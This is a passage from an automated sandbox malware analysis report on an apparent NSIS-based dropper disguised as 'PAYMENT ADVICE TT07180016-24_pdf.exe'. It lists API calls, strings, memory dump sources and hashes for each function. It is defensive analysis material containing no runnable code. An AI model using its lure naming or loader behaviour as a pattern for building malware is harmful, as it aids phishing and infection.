lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsxC748.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsxC748.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsxC748.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nsxC748.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsxC748.tmp
API String ID: 1356686001-3611377181
Opcode ID: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004056A9

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3081826266
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2036183059.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2036170525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036195897.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036208769.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNELBASE(0040A300,?,00000000,?,?,?,00000000,0040329E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405C92

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C5E
nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNELBASE(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 00405683: CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,00000000,000000F0), ref: 00401645

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving
API String ID: 1892508949-2168965836
Opcode ID: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction ID: 2a65e9898054e9c842dee46b5c7982ab048171bb6952f998b4aca48d6bd22bb3
Opcode Fuzzy Hash: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction Fuzzy Hash: 96119331504504EBCF20BFA4CD4599E36A1EF44368B25093BEA46B62F2DA394A819E5D

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00401FC3 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FEE

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FFF
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 0040207C

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction ID: 561ed2f99fcd8f3c69216c61aae9e950b585f3ecd418fa9455324ea25216acba
Opcode Fuzzy Hash: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction Fuzzy Hash: 8221A731900209EBDF20AF65CE48A9E7E71BF00354F20427BF510B51E1CBBD8A81DA5D

Function 00401B37 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(0052CA78), ref: 00401BA7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BB9

Strings

Call, xrefs: 00401B5E, 00401B64, 00401B7E

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 3223036e7e2fecee151538c34771c34e58526c9ebab93d957a64f6eea7189736
Instruction ID: 27804974e3ca03393c04398de70bc6092cde1ed56c9d8f76027c1228d60f226a
Opcode Fuzzy Hash: 3223036e7e2fecee151538c34771c34e58526c9ebab93d957a64f6eea7189736
Instruction Fuzzy Hash: 32219072600101EBCB10EFA4CE85E5F77BAAF45324725413BF116B32D1DA78A8519B1D

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,0000046E,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsxC748.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction ID: caa0a88e983a87845293d3a09aded013c5498a2120ee6ea3f3930af667db2d56
Opcode Fuzzy Hash: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction Fuzzy Hash: 9FF08171A00204ABEB209F65DE8CABF767CEF80354B10803FF405B61D0DAB84D419B69

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,0000046E,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsxC748.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction ID: 28617f4b1a8802b5017de0243b5a45cf97da40b04a50325282b533cdbf166070
Opcode Fuzzy Hash: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction Fuzzy Hash: 64115E31911205EBDB14CFA4DA489AEB7B4EF44354B20843FE446B72D0DAB89A41EB59

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction ID: cd3aabbb77ee63ed71f9921c47df44d3aa6e588553b0b950a072bc92d791a3e5
Opcode Fuzzy Hash: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction Fuzzy Hash: 2101F4316202209FE7095B389D05B6A3698E710319F10863FF851F62F1DA78DC428B4C

Function 0040642B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
GetProcAddress.KERNEL32(00000000,?), ref: 00406458

Part of subcall function 004063BF: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
Part of subcall function 004063BF: wsprintfW.USER32 ref: 00406411
Part of subcall function 004063BF: LoadLibraryW.KERNELBASE(?), ref: 00406421

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction ID: 5d7b52194fecd52e31197542c52f699420a2dcfb6f4997f05ddeecd74f4f3bdc
Opcode Fuzzy Hash: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction Fuzzy Hash: 70E0863660422066D61057705E44D3763AC9E94704306043EFA46F2041DB78DC32AA6E

Function 00401DDC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DF2
EnableWindow.USER32(00000000,00000000), ref: 00401DFD

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
